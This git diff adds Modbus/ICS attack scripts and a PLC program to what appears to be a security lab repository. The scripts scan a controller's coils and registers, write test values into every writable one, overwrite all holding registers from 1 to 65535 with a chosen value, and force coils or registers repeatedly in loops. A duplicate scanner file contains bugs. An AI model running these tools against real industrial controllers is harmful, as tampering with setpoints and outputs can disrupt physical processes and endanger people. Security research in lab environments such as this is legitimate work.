address format verification + if not validate_ipv4(ip): + print "ERROR: IP address is invalid\n\n" + parser.print_help() + exit() + + # modbus address type verification + if not validate_mbaddrtype(args.register_type): + print "ERROR: Invalid Modbus address type\n\n" + parser.print_help() + exit() + + print 'Connecting to %s...' % ip, + # connect to modbus slave + client = ModbusTcpClient(ip, args.port) + client.connect() + if client.socket == None: + print "ERROR: Could not connect to %s." %ip + exit() + print ' Connected.' + + # TODO add ETA mechanism + results = {} + addr = 1 + readfunction = { + "h": read_holding, + "d": read_discrete, + "i": read_inputregister + } + registers_tested = args.end_address - args.start_address + 1 + if registers_tested == 1: + hr = readfunction[args.register_type](args.start_address, client, args.uid) + #hr = client.read_holding_registers(args.start_address, 1, unit=args.uid) # unit value is device id of the slave (UID) + if hr.function_code == 3: # if we succeed reading stuff + results[addr] = hr.registers[0] + # if it fails, hr.function = 131 (0x83), cf modbus doc + else: + for addr in range(args.start_address, args.end_address): + hr = readfunction[args.register_type](addr, client, args.uid) + #hr = client.read_holding_registers(addr, 1, unit=args.uid) # unit value is device id of the slave (UID) + if hr.function_code == 3: # if we succeed reading stuff + results[addr] = hr.registers[0] + # if it fails, hr.function = 131 (0x83), cf modbus doc + + client.close() + print 'Register scanning is finished (%d registers were tried)' % (registers_tested) + # sorting dict for printing + ordered_results = collections.OrderedDict(sorted(results.items())) + for addr, value in ordered_results.iteritems(): + print 'Addr {0} \t{1}'.format(addr,value) + +if __name__=="__main__": + try: + scan() + except KeyboardInterrupt: + status("Ctrl-C happened\n") diff --git a/modbus/misc/register_scanner.py b/modbus/misc/register_scanner.py new file mode 100644 index 0000000..f5a0340 --- /dev/null +++ b/modbus/misc/register_scanner.py @@ -0,0 +1,156 @@ +from pyModbusTCP.client import ModbusClient +from xlwt import Workbook +import sys +import argparse +from tqdm import tqdm + +# https://github.com/nallamuthu/ModBus + +#Function to write single Holding Register +def write_single_hold_regiser(ip_addr,port,valid_list,permission_list): + write_confirm_list=[] + write_confirm_data=[] + client=ModbusClient(host=ip_addr,port=port,auto_open=True,auto_close=True,timeout=10) + for i in tqdm(valid_list): + data=client.write_single_register(i,43981) # HEX(ABCD) == int(43981) + data=client.read_holding_registers(i,1) + permission_list.append("Read") + #print("Regiser: "+str(i)+" => Value: "+str(data)) + if data: + if 43981==data[0]: + write_confirm_list.append(i) + write_confirm_data.append(data[0]) + permission_list[i-1] = "Read/Write" + client.close() + return write_confirm_list,write_confirm_data,permission_list + +#Function to write single coil +def write_single_coil_regiser(ip_addr,port,coil_valid_list,coil_permission_list): + write_coil_confirm_list=[] + write_coil_confirm_data=[] + client=ModbusClient(host=ip_addr,port=port,auto_open=True,auto_close=True,timeout=10) + for i in coil_valid_list: + data=client.write_single_coil(i,1) # HEX(ABCD) == int(43981) + data=client.read_coils(i,1) + coil_permission_list.append("Read") + #print("Regiser: "+str(i)+" => Value: "+str(data)) + if data: + if 1==data[0]: + write_coil_confirm_list.append(i) + write_coil_confirm_data.append(data[0]) + coil_permission_list[i-1] = "Read/Write" + client.close() + return write_coil_confirm_list,write_coil_confirm_data,coil_permission_list + +#Function to read all the registers based on the parameter received +def read_valid_registers(ip_addr,port,reg): + valid_list=[] + data_list=[] + permission_list=[] + client=ModbusClient(host=ip_addr,port=port,auto_open=True,auto_close=True,timeout=10) + for i in tqdm(range(1,500)): + if reg == "hold": + data=client.read_holding_registers(i,1) + if reg == "input": + data=client.read_input_registers(i,1) + if reg == "discrete": + data=client.read_discrete_inputs(i,1) + if reg == "coil": + data=client.read_coils(i,1) + if data: + valid_list.append(i) + data_list.append(data[0]) + permission_list.append("Read") +#Write the result to Excel File + client.close() + return valid_list,data_list,permission_list + + + +def write_to_excel(wb,register,valid_list,data_list,permission_list,reg_value): + sheet=wb.add_sheet(register) + sheet.write(0,0,"Register") + sheet.write(0,1,"Permission") + sheet.write(0,2,"Data") + for i in range(len(valid_list)): + sheet.write(i+1,0,valid_list[i]) + sheet.write(i+1,1,permission_list[i]) + sheet.write(i+1,2,data_list[i]) + wb.save("Modbus_Output.xls") + return wb + +# +def print_details(valid_list,data_list,operation): + if valid_list: + print("******************************") + print(operation+" - Valid Registers: \n"+str(valid_list)) + print("******************************") + print(operation+" - Valid Registers with Non-Zero Values") + print("******************************") + for i in range(len(valid_list)): + if data_list[i]: + print("Register :"+str(valid_list[i])+" => Value: "+str(data_list[i])) + print("******************************") + else: + print("******************************") + print("No Valid Register Found") + print("******************************") + +#Parse the input parameters +my_parser = argparse.ArgumentParser(description='Pass the input IP Address') +my_parser.add_argument('-i','--ipaddress', action='store', type=str,required=True, help='Input IP Address') +my_parser.add_argument('-p','--port', action='store', type=int,required=False, help='Port Number', default=502) +args = my_parser.parse_args() +ip_addr=args.ipaddress +port=args.port + + +#Create workbook to save the result +wb=Workbook() +#Coils - valid and Data [Read and Write] +print("******************************") +print("Reading Coils Status - 0x01") +coil_valid_list,coil_data_list,coil_permission_list=read_valid_registers(ip_addr,port,"coil") #Function Code - 0x01 + +if coil_data_list: + print("Writing Coil Status - 0x05") + write_coil_valid_list,write_coil_data_list,coil_permission_list=write_single_coil_regiser(ip_addr,port,coil_valid_list,coil_permission_list) #Function Code - 0x05 + +else: + print("No valid Register Found to do Write Operation") +#print_details(coil_valid_list,coil_data_list,"Read") +wb=write_to_excel(wb,"Coil",coil_valid_list,coil_data_list,coil_permission_list,0) + + + +#Holding Registers - valid and Data [Read and Write] +print("******************************") +print("Reading Holding Registers - 0x03") +hold_valid_list,hold_data_list,hold_permission_list=read_valid_registers(ip_addr,port,"hold") #Function Code - 0x03 +#print_details(hold_valid_list,hold_data_list,"Read") +if hold_data_list: + print("Writing Holding Status - 0x06") + write_hold_valid_list,write_hold_data_list,hold_permission_list=write_single_hold_regiser(ip_addr,port,hold_valid_list,hold_permission_list) #Function Code - 0x06 +else: + print("No valid Register Found to do Write Operation") +wb=write_to_excel(wb,"Holding_Register",hold_valid_list,hold_data_list,hold_permission_list,40000) + + + +#Discrete Input - valid and Data [Read Only] +print("******************************") +print("Reading Discrete Input - 0x02") +discrete_valid_list,discrete_data_list,discrete_permission_list=read_valid_registers(ip_addr,port,"discrete") #Function Code - 0x02 +#print_details(discrete_valid_list,discrete_data_list,"Read") +wb=write_to_excel(wb,"Discrete",discrete_valid_list,discrete_data_list,discrete_permission_list,10000) + + + +#Read Input Registers - valid and Data [Read Only] +print("******************************") +print("Reading Input Registers - 0x04") +input_valid_list,input_data_list,input_permission_list=read_valid_registers(ip_addr,port,"input") +#print_details(input_valid_list,input_data_list,"Read") +wb=write_to_excel(wb,"Input_Register",input_valid_list,input_data_list,input_permission_list,30000) +print("******************************") +print("Check the output Excel File - Modbus_Output.xls") \ No newline at end of file diff --git a/modbus/misc/register_scanner.py.1 b/modbus/misc/register_scanner.py.1 new file mode 100644 index 0000000..4d03cc6 --- /dev/null +++ b/modbus/misc/register_scanner.py.1 @@ -0,0 +1,151 @@ +from pyModbusTCP.client import ModbusClient +from xlwt import Workbook +import sys +import argparse +from tqdm import tqdm + +#Function to write single Holding Register +def write_single_hold_regiser(ip_addr,port,valid_list,permission_list): + write_confirm_list=[] + write_confirm_data=[] + client=ModbusClient(host=ip_addr,port=port,auto_open=True,auto_close=True,timeout=10) + for i in tqdm(valid_list): + data=client.write_single_register(i,43981) # HEX(ABCD) == int(43981) + data=client.read_holding_registers(i,1) + #print("Regiser: "+str(i)+" => Value: "+str(data)) + if data[0]: + if 43981==data[0]: + write_confirm_list.append(i) + write_confirm_data.append(data[0]) + permission_list[i-1]="Read/Write" + client.close() + return write_confirm_list,write_confirm_data,permission_list + +#Function to write single coil +def write_single_coil_regiser(ip_addr,port,coil_valid_list): + write_coil_confirm_list=[] + write_coil_confirm_data=[] + client=ModbusClient(host=ip_addr,port=port,auto_open=True,auto_close=True,timeout=10) + for i in hold_valid_list: + data=client.write_single_register(i,43981) # HEX(ABCD) == int(43981) + data=client.read_holding_registers(i,1) + #print("Regiser: "+str(i)+" => Value: "+str(data)) + if data[0]: + if 43981==data[0]: + write_coil_confirm_list.append(i) + write_coil_confirm_data.append(data[0]) + client.close() + return write_coil_confirm_list,write_coil_confirm_data + +#Function to read all the registers based on the parameter received +def read_valid_registers(ip_addr,port,reg): + valid_list=[] + data_list=[] + permission_list=[] + client=ModbusClient(host=ip_addr,port=port,auto_open=True,auto_close=True,timeout=10) + for i in tqdm(range(1,500)): + if reg == "hold": + data=client.read_holding_registers(i,1) + if reg == "input": + data=client.read_input_registers(i,1) + if reg == "discrete": + data=client.read_discrete_inputs(i,1) + if reg == "coil": + data=client.read_coils(i,1) + if data: + valid_list.append(i) + data_list.append(data[0]) + permission_list.append("Read") + client.close() + return valid_list,data_list,permission_list + + + +#Write the result to Excel File +def write_to_excel(wb,register,valid_list,data_list,permission_list,reg_value): + sheet=wb.add_sheet(register) + sheet.write(0,0,"Register") + sheet.write(0,1,"Permission") + sheet.write(0,2,"Data") + for i in range(len(valid_list)): + sheet.write(i+1,0,valid_list[i]+reg_value) + sheet.write(i+1,1,permission_list[i]) + sheet.write(i+1,2,data_list[i]) + wb.save("Modbus_Output.xls") + return wb + +# +def print_details(valid_list,data_list,operation): + if valid_list: + print("******************************") + print(operation+" - Valid Registers: \n"+str(valid_list)) + print("******************************") + print(operation+" - Valid Registers with Non-Zero Values") + print("******************************") + for i in range(len(valid_list)): + if data_list[i]: + print("Register :"+str(valid_list[i])+" => Value: "+str(data_list[i])) + print("******************************") + else: + print("******************************") + print("No Valid Register Found") + print("******************************") + +#Parse the input parameters +my_parser = argparse.ArgumentParser(description='Pass the input IP Address') +my_parser.add_argument('-i','--ipaddress', action='store', type=str,required=True, help='Input IP Address') +my_parser.add_argument('-p','--port', action='store', type=int,required=True, help='Port Number') +args = my_parser.parse_args() +ip_addr=args.ipaddress +port=args.port + + +#Create workbook to save the result +wb=Workbook() +#Coils - valid and Data [Read and Write] +print("******************************") +print("Reading Coils Status - 0x01") +coil_valid_list,coil_data_list,coil_permission_list=read_valid_registers(ip_addr,port,"coil") #Function Code - 0x01 + +if coil_data_list: + print("Writing Coil Status - 0x05") + write_coil_valid_list,write_coil_data_list,coil_permission_list=write_single_coil_regiser(ip_addr,port,coil_valid_list) #Function Code - 0x05 + +else: + print("No valid Register Found to do Write Operation") +#print_details(coil_valid_list,coil_data_list,"Read") +wb=write_to_excel(wb,"Coil",coil_valid_list,coil_data_list,coil_permission_list,0) + + + +#Holding Registers - valid and Data [Read and Write] +print("******************************") +print("Reading Holding Registers - 0x03") +hold_valid_list,hold_data_list,hold_permission_list=read_valid_registers(ip_addr,port,"hold") #Function Code - 0x03 +#print_details(hold_valid_list,hold_data_list,"Read") +if hold_data_list: + print("Writing Holding Status - 0x06") + write_hold_valid_list,write_hold_data_list,hold_permission_list=write_single_hold_regiser(ip_addr,port,hold_valid_list,hold_permission_list) #Function Code - 0x06 +else: + print("No valid Register Found to do Write Operation") +wb=write_to_excel(wb,"Holding_Register",hold_valid_list,hold_data_list,hold_permission_list,40000) + + + +#Discrete Input - valid and Data [Read Only] +print("******************************") +print("Reading Discrete Input - 0x02") +discrete_valid_list,discrete_data_list,discrete_permission_list=read_valid_registers(ip_addr,port,"discrete") #Function Code - 0x02 +#print_details(discrete_valid_list,discrete_data_list,"Read") +wb=write_to_excel(wb,"Discrete",discrete_valid_list,discrete_data_list,discrete_permission_list,10000) + + + +#Read Input Registers - valid and Data [Read Only] +print("******************************") +print("Reading Input Registers - 0x04") +input_valid_list,input_data_list,input_permission_list=read_valid_registers(ip_addr,port,"input") +#print_details(input_valid_list,input_data_list,"Read") +wb=write_to_excel(wb,"Input_Register",input_valid_list,input_data_list,input_permission_list,30000) +print("******************************") +print("Check the output Excel File - Modbus_Output.xls") \ No newline at end of file diff --git a/modbus/misc/write_all_holding_registers.py b/modbus/misc/write_all_holding_registers.py new file mode 100644 index 0000000..ae6fa15 --- /dev/null +++ b/modbus/misc/write_all_holding_registers.py @@ -0,0 +1,94 @@ +#!/usr/bin/env python + +""" +File: write_all_holding_registers.py +Desc: Write all holding registers on a TCP MODBUS Slave +Version: 0.0.1 +""" + +__author__ = 'rm' + +from pymodbus.client.sync import ModbusTcpClient +import argparse +import sys + + +class ModbusException(Exception): + _codes = { + 1: 'ILLEGAL FUNCTION', + 2: 'ILLEGAL DATA ADDRESS', + 3: 'ILLEGAL DATA VALUE', + 4: 'SLAVE DEVICE FAILURE', + 6: 'SLAVE DEVICE BUSY' + } + + def __init__(self, code): + self.code = code + self.message = ModbusException._codes[code] if ModbusException._codes.has_key(code) else 'Unknown Modbus Exception' + + def __str__(self): + return "Modbus Error. Exception %d: %s" % (self.code, self.message) + + +def status(msg): + sys.stderr.write(msg[:-1][:39].ljust(39,' ')+msg[-1:]) + +def validate_ipv4(s): + pieces = s.split('.') + if len(pieces) != 4: return False + try: return all(0<=int(p)<256 for p in pieces) + except ValueError: return False + +def scan(): + + parser = argparse.ArgumentParser(description = "Write all holding registries on a TCP MODBUS Slave") + parser.add_argument("ip", help="IP address of the slave") + parser.add_argument("-p", "--port", dest="port", help="Modbus Port. Defaults to 502", type=int, metavar="PORT", default=502) + parser.add_argument("-u", "--uid", dest="uid", help="Modbus Unit ID. Defaults to 1", type=int, metavar="UID", default=1) + parser.add_argument("-sa", "--start-address", dest="start_address", help="Starting Address for the writer. Defaults to 1", type=int, metavar="START", default=1) + parser.add_argument("-ea", "--end-address", dest="end_address", help="Ending Address for the writer. Defaults to 65535", type=int, metavar="END", default=65535) + parser.add_argument("-v", "--value", dest="value", help="Value that will be written. Defaults to 7777", type=int, metavar="VALUE", default=7777) + + args = parser.parse_args() + + try: + ip = args.ip + except IndexError: + print "ERROR: No target given\n\n" + parser.print_help() + exit() + + # ip address format verification + if not validate_ipv4(ip): + print "ERROR: IP address is invalid\n\n" + parser.print_help() + exit() + + print 'Connecting to %s...' % ip, + # connect to modbus slave + client = ModbusTcpClient(ip, args.port) + client.connect() + if client.socket == None: + print "ERROR: Could not connect to %s." %ip + exit() + print ' Connected.' + + # TODO add ETA mechanism + results = [] + addr = 1 + for addr in range(args.start_address, args.end_address): + hr = client.write_registers(addr, args.value, unit=args.uid) # unit value is device id of the slave (UID) + if hr.function_code == 16: # if we succeeded writing stuff. code = 0x10 + results.append(addr) + # if it fails, hr.function = 144 (0x90), cf modbus doc + + client.close() + print 'Register writing is finished (%d addresses were tried)' % (args.end_address-args.start_address+1) + print 'Writing was successful on these %d addresses:' % len(results) + print results + +if __name__=="__main__": + try: + scan() + except KeyboardInterrupt: + status("Ctrl-C happened\n") diff --git a/modbus/monitor_muiltiple.py b/modbus/monitor_muiltiple.py new file mode 100644 index 0000000..5b8b46f --- /dev/null +++ b/modbus/monitor_muiltiple.py @@ -0,0 +1,192 @@ +#!/usr/bin/env python + +""" +File: monitor_multiple.py +Desc: Read all registers from a TCP MODBUS Slave +""" +__author__ = '0xRoM' + +from argparse import ArgumentParser, ArgumentTypeError, Action +from pyModbusTCP.client import ModbusClient +import time +import sys +import re + +class style(): + BLACK = '\033[30m' + RED = '\033[31m' + GREEN = '\033[32m' + YELLOW = '\033[33m' + BLUE = '\033[34m' + MAGENTA = '\033[35m' + CYAN = '\033[36m' + WHITE = '\033[37m' + BOLD = '\33[1m' + UNDERLINE = '\033[4m' + RESET = '\033[0m' + +class InflateRange(Action): + def __call__(self, parser, namespace, values, option_string=None): + #print('%r %r %r' % (namespace, values, option_string)) + lst = [] + for string in values: + #print 'in string:',string + if '-' in string: + m = re.match(r'(\d+)(?:-(\d+))?$', string) + # ^ (or use .split('-'). anyway you like.) + if not m: + raise ArgumentTypeError("'" + string + "' is not a range of number. Expected forms like '0-5' or '2'.") + start = m.group(1) + end = m.group(2) or start + lst.extend(list(range(int(start,10), int(end,10)+1))) + else: + lst.append(int(string)) + setattr(namespace, self.dest, lst) + +parser = ArgumentParser() +parser.add_argument('-co', '--coil', action=InflateRange, nargs='*', required=False, help='list of addresses') +parser.add_argument('-ho', '--hold', action=InflateRange, nargs='*', required=False, help='list of addresses') +parser.add_argument('-di', '--discrete', action=InflateRange, nargs='*', required=False, help='list of addresses') +parser.add_argument('-in', '--input', action=InflateRange, nargs='*', required=False, help='list of addresses') +parser.add_argument('-i','--ipaddress', action='store', type=str, required=True, help='Input IP Address') +parser.add_argument('-p','--port', action='store', type=int, required=False, help='Port Number', default=502) +parser.add_argument('-t','--timeout', action='store', type=float, required=False, help='request every X seconds', default=2) + +args = parser.parse_args() +print("### watch list ###") + +total = 0 +if args.coil: + print(style.BOLD+"coils: "+style.RESET+"("+str(len(args.coil))+")"+str(args.coil)) + total += len(args.coil) +if args.hold: + print(style.BOLD+"hold reg: "+style.RESET+"("+str(len(args.hold))+")"+str(args.hold)) + total += len(args.hold) +if args.discrete: + print(style.BOLD+"discrete: "+style.RESET+"("+str(len(args.discrete))+")"+str(args.discrete)) + total += len(args.discrete) +if args.input: + print(style.BOLD+"input reg: "+style.RESET+"("+str(len(args.input))+")"+str(args.input)) + total += len(args.input) +print(style.BOLD+"Total = "+str(total)+style.RESET) +print("------------------") + +co_orig={} +ho_orig={} +di_orig={} +in_orig={} +co_mod={} +ho_mod={} +di_mod={} +in_mod={} +co_prev={} +ho_prev={} +di_prev={} +in_prev={} +client=ModbusClient(host=args.ipaddress,port=args.port,auto_open=True,auto_close=True,timeout=args.timeout) + +if args.coil: + for i in args.coil: + co_orig[i]=client.read_coils(i,1) + co_mod[i] = style.RESET + co_prev[i] = co_orig[i] +if args.hold: + for i in args.hold: + ho_orig[i]=client.read_holding_registers(i,1) + if ho_orig[i] == None: + ho_orig[i] = " " + ho_mod[i] = style.RESET + ho_prev[i] = ho_orig[i] +if args.discrete: + for i in args.discrete: + di_orig[i]=client.read_discrete_inputs(i,1) + di_mod[i] = style.RESET + di_prev[i] = di_orig[i] +if args.input: + for i in args.input: + in_orig[i]=client.read_input_registers(i,1) + if in_orig[i] == None: + in_orig[i] = " " + in_mod[i] = style.RESET + in_prev[i] = in_orig[i] + +while True: + co_new={} + ho_new={} + di_new={} + in_new={} + if args.coil: + for i in args.coil: + co_new[i]=client.read_coils(i,1) + if co_new[i] == None: + co_new[i] = "0" + co_mod[i] = style.CYAN + else: + if co_new[i][0] == 1 and co_prev[i][0] == 0: + co_mod[i] = style.GREEN + if co_new[i][0] == 0 and co_prev[i][0] == 1: + co_mod[i] = style.RED + co_prev[i] = co_new[i] + + if args.hold: + for i in args.hold: + ho_new[i]=client.read_holding_registers(i,1) + if ho_new[i] == None: + ho_new[i] = " " + else: + if ho_new[i] > ho_prev[i]: + ho_mod[i] = style.GREEN + if ho_new[i] < ho_prev[i]: + ho_mod[i] = style.RED + ho_prev[i] = ho_new[i] + + if args.discrete: + for i in args.discrete: + di_new[i]=client.read_discrete_inputs(i,1) + if di_new[i] == None: + di_new[i] = "0" + di_mod[i] = style.CYAN + else: + if di_new[i][0] == 1 and di_prev[i][0] == 0: + di_mod[i] = style.GREEN + if di_new[i][0] == 0 and di_prev[i][0] == 1: + di_mod[i] = style.RED + di_prev[i] = di_new[i] + + if args.input: + for i in args.input: + in_new[i]=client.read_input_registers(i,1) + if in_new[i] == None: + in_new[i] = " " + else: + if in_new[i] > in_prev[i]: + in_mod[i] = style.GREEN + if in_new[i] < in_prev[i]: + in_mod[i] = style.RED + in_prev[i] = in_new[i] + + sys.stdout.flush() + output = '\r' + if args.coil: + output += '['+style.BOLD+'coils:'+style.RESET + for i in co_new: + output += style.RESET+'['+str(co_mod[i])+str(int(co_new[i][0]))+style.RESET+']' + output += ']' + if args.hold: + output += '['+style.BOLD+'hold regs:'+style.RESET + for i in ho_new: + output += style.RESET+'['+str(ho_mod[i])+str(ho_new[i][0]).rjust(5, ' ')+style.RESET+']' + output += ']' + if args.discrete: + output += '['+style.BOLD+'discrete:'+style.RESET + for i in di_new: + output += style.RESET+'['+str(di_mod[i])+str(int(di_new[i][0]))+style.RESET+']' + output += ']' + if args.input: + output += '['+style.BOLD+'input regs:'+style.RESET + for i in in_new: + output += style.RESET+'['+str(in_mod[i])+str(in_new[i][0]).rjust(5, ' ')+style.RESET+']' + output += ']' + + print output, + time.sleep(args.timeout) \ No newline at end of file diff --git a/modbus/set_coil.py b/modbus/set_coil.py new file mode 100644 index 0000000..02ab399 --- /dev/null +++ b/modbus/set_coil.py @@ -0,0 +1,41 @@ +#!/usr/bin/env python + +""" +File: set_coil.py +Desc: set a specific coil to a specific value +""" +__author__ = '0xRoM' +from argparse import ArgumentParser, ArgumentTypeError +from pyModbusTCP.client import ModbusClient +import time +import sys + +parser = ArgumentParser() +parser.add_argument('-i','--ipaddress', action='store', type=str, required=True, help='Input IP Address') +parser.add_argument('-p','--port', action='store', type=int, required=False, help='Port Number', default=502) +parser.add_argument('-c','--coil', action='store', type=int, required=True, help='Coil Number', default=0) +parser.add_argument('-tr','--true', action='store_true', required=False, help='True if set') +parser.add_argument('-l','--loop', action='store_true', required=False, help='loop on') +parser.add_argument('-t','--timeout', action='store', type=float, required=False, help='request every X seconds', default=2) +args = parser.parse_args() + +client=ModbusClient(host=args.ipaddress,port=args.port,auto_open=True,auto_close=True,timeout=10) +if args.true: + client.write_single_coil(args.coil,True) +else: + client.write_single_coil(args.coil,False) + +if args.loop: + i=1 + while True: + client=ModbusClient(host=args.ipaddress,port=args.port,auto_open=True,auto_close=True,timeout=10) + if args.true: + client.write_single_coil(args.coil,True) + else: + client.write_single_coil(args.coil,False) + client.close() + print '\r>>packet: %d' % i, + sys.stdout.flush() + i+=1 + time.sleep(args.timeout) + diff --git a/modbus/test_coil_true.py b/modbus/test_coil_true.py new file mode 100644 index 0000000..d2e8631 --- /dev/null +++ b/modbus/test_coil_true.py @@ -0,0 +1,15 @@ +#!/usr/bin/python +from pymodbus.client.sync import ModbusTcpClient +import time +import sys + +i=1 +t_end = time.time() + 60 * 1 # 60s X 1min +while time.time() < t_end: + client = ModbusTcpClient(sys.argv[1]) + client.write_coils(40, [True, True, True]*4) # Ref #, followed by coil settings in list form + client.close() + print '\r>>packet: %d' % i, + sys.stdout.flush() + i+=1 +print "Done" diff --git a/modbus/test_hold_int.py b/modbus/test_hold_int.py new file mode 100644 index 0000000..8be7d0d --- /dev/null +++ b/modbus/test_hold_int.py @@ -0,0 +1,21 @@ +#!/usr/bin/python +from pyModbusTCP.client import ModbusClient +import time +import sys + +i=1 +client=ModbusClient(host=sys.argv[1],port=502,auto_open=True,auto_close=True,timeout=10) + +while True: + #client = ModbusTcpClient(sys.argv[1]) + #client.write_single_register(0,65535) # ref #, followed by no to store + #client.write_single_register(1,65535) # ref #, followed by no to store + #client.write_single_register(2,0) # ref #, followed by no to store + client.write_single_register(3,0) # ref #, followed by no to store + #client.write_multiple_registers(0, [65535,65535,2,2]) + #client.close() + print '\r>>packet: %d' % i, + sys.stdout.flush() + i+=1 + time.sleep(0.2) +print "Done" diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack.st b/plc/GRFICS_Workstation_Docs/Documents/attack.st new file mode 100644 index 0000000..e39c5bd --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack.st @@ -0,0 +1,518 @@ +FUNCTION_BLOCK scale_to_real + VAR_INPUT + raw_input_value : UINT; + END_VAR + VAR_OUTPUT + scaled_real : REAL; + END_VAR + VAR_INPUT + real_max : REAL; + real_min : REAL; + END_VAR + VAR + raw_max : UINT := 65535; + raw_min : UINT := 0; + rate : REAL; + offset : REAL; + END_VAR + + rate := (real_max - real_min) / UINT_TO_REAL(raw_max - raw_min); + offset := real_min - UINT_TO_REAL(raw_min)*rate; + scaled_real := UINT_TO_REAL(raw_input_value)*rate + offset; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK scale_to_uint + VAR_INPUT + real_in : REAL; + END_VAR + VAR_OUTPUT + uint_out : UINT; + END_VAR + VAR + DIV1_OUT : REAL; + MUL4_OUT : REAL; + REAL_TO_UINT6_OUT : UINT; + END_VAR + + DIV1_OUT := DIV(real_in, 100.0); + MUL4_OUT := MUL(DIV1_OUT, 65535.0); + REAL_TO_UINT6_OUT := REAL_TO_UINT(MUL4_OUT); + uint_out := REAL_TO_UINT6_OUT; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK composition_control + VAR + a_in_purge_real : REAL := 47.00; + END_VAR + VAR_INPUT + a_in_purge : UINT := 32000; + END_VAR + VAR + a_setpoint_real : REAL := 47.00; + END_VAR + VAR_INPUT + a_setpoint : UINT := 32000; + curr_pos : UINT := 16000; + END_VAR + VAR + valve_pos_real : REAL := 25.0; + pos_update_real : REAL := 0.0; + valve_pos_nominal : REAL := 25.0; + END_VAR + VAR_OUTPUT + new_pos : UINT := 16000; + END_VAR + VAR + composition_k : REAL := 1.0; + composition_ti : REAL := 99.0; + cycle_time : TIME := T#50ms; + scale_to_real3 : scale_to_real; + scale_to_real2 : scale_to_real; + scale_to_uint0 : scale_to_uint; + comp_max : REAL := 100.0; + comp_min : REAL := 0.0; + pos_max : REAL := 100.0; + pos_min : REAL := 0.0; + scale_to_real0 : scale_to_real; + SUB45_OUT : REAL; + MUL46_OUT : REAL; + ADD42_OUT : REAL; + LIMIT44_OUT : REAL; + END_VAR + + scale_to_real3(raw_input_value := a_in_purge, real_max := comp_max, real_min := comp_min); + a_in_purge_real := scale_to_real3.scaled_real; + scale_to_real2(raw_input_value := a_setpoint, real_max := comp_max, real_min := comp_min); + a_setpoint_real := scale_to_real2.scaled_real; + SUB45_OUT := SUB(a_setpoint_real, a_in_purge_real); + MUL46_OUT := MUL(SUB45_OUT, composition_k); + pos_update_real := MUL46_OUT; + scale_to_real0(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + valve_pos_real := scale_to_real0.scaled_real; + ADD42_OUT := ADD(valve_pos_real, pos_update_real); + LIMIT44_OUT := LIMIT(pos_min, ADD42_OUT, pos_max); + scale_to_uint0(real_in := LIMIT44_OUT); + new_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK initialize_sp + VAR CONSTANT + flow_sp_c : UINT := 13107; + a_sp_c : UINT := 65535; + press_sp_c : UINT := 65535; + over_sp_c : UINT := 65535; + level_sp_c : UINT := 65535; + END_VAR + VAR_OUTPUT + flow_sp : UINT; + a_sp : UINT; + press_sp : UINT; + over_sp : UINT; + level_sp : UINT; + END_VAR + VAR + MOVE3_OUT : UINT; + MOVE7_OUT : UINT; + MOVE11_OUT : UINT; + MOVE15_OUT : UINT; + MOVE19_OUT : UINT; + END_VAR + + MOVE3_OUT := MOVE(a_sp_c); + a_sp := MOVE3_OUT; + MOVE7_OUT := MOVE(flow_sp_c); + flow_sp := MOVE7_OUT; + MOVE11_OUT := MOVE(over_sp_c); + over_sp := MOVE11_OUT; + MOVE15_OUT := MOVE(level_sp_c); + level_sp := MOVE15_OUT; + MOVE19_OUT := MOVE(press_sp_c); + press_sp := MOVE19_OUT; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK pressure_control + VAR + pressure_real : REAL := 2700.0; + END_VAR + VAR_INPUT + pressure : UINT := 58981; + END_VAR + VAR + pressure_sp_real : REAL := 2700.0; + END_VAR + VAR_INPUT + pressure_sp : UINT := 58981; + curr_pos : UINT := 30000; + END_VAR + VAR + valve_pos_real : REAL := 39.25; + pos_update_real : REAL := 0.0; + valve_pos_nominal : REAL := 39.25; + END_VAR + VAR_OUTPUT + valve_pos : UINT := 25886; + END_VAR + VAR + pressure_k : REAL := 20.0; + pressure_ti : REAL := 999.0; + cycle_time : TIME := T#50ms; + scale_to_real5 : scale_to_real; + scale_to_real4 : scale_to_real; + scale_to_uint0 : scale_to_uint; + pressure_max : REAL := 3200.00; + pressure_min : REAL := 0.0; + pos_min : REAL := 0.0; + pos_max : REAL := 100.0; + scale_to_real0 : scale_to_real; + SUB57_OUT : REAL; + MUL60_OUT : REAL; + SUB53_OUT : REAL; + LIMIT55_OUT : REAL; + END_VAR + + scale_to_real5(raw_input_value := pressure, real_max := pressure_max, real_min := pressure_min); + pressure_real := scale_to_real5.scaled_real; + scale_to_real4(raw_input_value := pressure_sp, real_max := pressure_max, real_min := pressure_min); + pressure_sp_real := scale_to_real4.scaled_real; + SUB57_OUT := SUB(pressure_sp_real, pressure_real); + MUL60_OUT := MUL(SUB57_OUT, pressure_k); + pos_update_real := MUL60_OUT; + scale_to_real0(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + valve_pos_real := scale_to_real0.scaled_real; + SUB53_OUT := SUB(valve_pos_real, pos_update_real); + LIMIT55_OUT := LIMIT(pos_min, SUB53_OUT, pos_max); + scale_to_uint0(real_in := LIMIT55_OUT); + valve_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK flow_control + VAR + flow_k : REAL := 1.0; + flow_ti : REAL := 999.0; + flow_td : REAL := 0.0; + END_VAR + VAR_INPUT + product_flow : UINT := 6554; + END_VAR + VAR + product_flow_real : REAL := 100.0; + cycle_time : TIME := T#50ms; + pos_update_real : REAL := 0.0; + curr_pos_real : REAL := 60.9; + END_VAR + VAR_OUTPUT + new_pos : UINT := 35000; + END_VAR + VAR_INPUT + curr_pos : UINT := 35000; + END_VAR + VAR + flow_set_real : REAL := 100.0; + END_VAR + VAR_INPUT + flow_set_in : UINT := 6554; + END_VAR + VAR + scale_to_real0 : scale_to_real; + scale_to_real1 : scale_to_real; + flow_max : REAL := 500.0; + flow_min : REAL := 0.0; + pos_min : REAL := 0.0; + pos_max : REAL := 100.0; + scale_to_real2 : scale_to_real; + scale_to_uint0 : scale_to_uint; + SUB59_OUT : REAL; + MUL60_OUT : REAL; + ADD58_OUT : REAL; + LIMIT40_OUT : REAL; + END_VAR + + scale_to_real0(raw_input_value := product_flow, real_max := flow_max, real_min := flow_min); + product_flow_real := 